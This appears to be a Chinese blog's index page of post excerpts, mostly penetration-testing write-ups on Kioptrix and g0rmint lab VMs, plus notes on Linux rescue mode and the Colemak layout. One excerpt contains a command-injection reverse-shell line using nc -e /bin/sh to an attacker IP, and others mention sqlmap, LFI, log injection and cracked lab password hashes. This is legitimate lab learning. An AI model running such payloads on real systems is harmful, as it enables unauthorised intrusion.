单用户模式救援模式 ::: {.container}::: {.post}::: {.show-content}在它死机并被我强行关机之后…… ::: {.image-package}\ ::: {.image-caption}tty:::::: 而我居然没有拍摄虚拟机快照？! 正好，趁此机会学习学习开机流程。呃，我一直偷懒跳过这章没学。 tty是Teletype的缩写。Teletype是最早出现的一种终端设备。设 2017-11-03 linux
还是kioptrix（LFI与注入） kiotrix level 3 虚拟机一台（分配的ip——192.168.1.114） ——这台虚拟机主要是用来测试web渗透技能的，扫描后发现开放的端口只有22、80。很正常，你随便找个网页，它所在的服务器多半也是这样，不可能开放很多端口的。如何扫描端口 ::: {.image-package}\ ::: {.image-caption}:::::: echo 192.168.1.114 ki 2017-11-02 training
g0rmint（一句话写入log) 登陆以后，发现功能少的可怜。。 ::: {.image-package}{.uploaded-imgwidth=”auto” height=”auto”}\ ::: {.image-caption}:::::: 主面板显示：under contructin，正在施工。。 secrets不知道是什么，好像不是英语，乱码？ profile是个更改登录密码功能，logout就不说了。 那么，该如何提权呢 2017-11-02 training
g0rmint 靶机地址 一：侦察1.开80、22端口。 2.访问http://192.168.1.116，显示 The requested URL / was not found on this server. 我的第一反应是80端口扫描错了，要不重新扫描一遍？ .…呃，其实是网站没有配置好吧，然后扫描网站文件路径。 信息：Apache/2.4.18 (Ubuntu) Server 路径：http://1 2017-11-02 training
kioptrix ::: {.container}::: {.post}::: {.show-content}奇特的是，nmap完全没有探测到主机开放的痕迹，换了几个参数，扫来扫去都没有发现。。。 是不是配置错误，没有联网，可是桥接没错啊。 netdiscover -r 192.168.1.0/24 ::: {.image-package}{.uploaded-imgwidth=”auto” height=”aut 2017-11-02 training
colemak键盘布局 官网https://colemak.com/FAQ\ 相关链接 http://zhangshenjia.com/it/qwerty-dvorak-colemak/ Colemak是什么？\ /'ko:lmæk/ (Coal-Mac)，是一种为了英语盲打设计（译注：其实也能提高中文拼音）的键盘布局方案。它是QWERTY键盘和Dvorak的一种使用替代方案。2006年1月1日发布。 为 2017-11-01 tools
kioptrix-level-2（命令执行漏洞） kioptrix :192.168.1.117 kali linux :192.168.1.111 上一篇 -- 参考 开放端口：22（ssh），80（http），111（rpcbind），443（https），616（sco-sysmgr），631（ipp），3306（mysql） 后续探测：use scanner/ssh/ssh_version （me 2017-11-01 training
level-2-（nc与内核漏洞提权） 续上篇 192.168.1.1；/usr/local/bin/nc 攻击机ip 6666 -e /bin/sh ::: {.image-package}\ ::: {.image-caption}:::::: 于是获得了 sh类型的shell 攻击机输入下面命令，目的是监听666端口，如果有主机连上它，就发送hole.c ::: {.image-package}\ ::: {.image-c 2017-11-01 training
level-3-下集（wget与提权） sqlmap获取数据库用户密码的hash值。参考 获得信息用户名：dreg hash值：0d3eccfb887aabd50f243b3f155c0f85 解密后：Mast3r 用户名：loneferret hash值：5badcaf789d3d1d09794d8f021f40f0e 解密后：starwars sqlmap -u "kio 2017-11-01 training
level-4-布尔盲注 ::: {.container}::: {.post}::: {.show-content}（下载地址见以前的文章）该虚拟机下载下来后只有一个vmdk文件，要创建一个新建一个虚拟机才能使用，方法详情 按例扫描IP和端口，信息搜集如下： 192.168.1.107 22（ssh）、80（http）、139（Samba）、445 22端口版本 OpenSSH 4.7p1 80端口 2017-10-31 training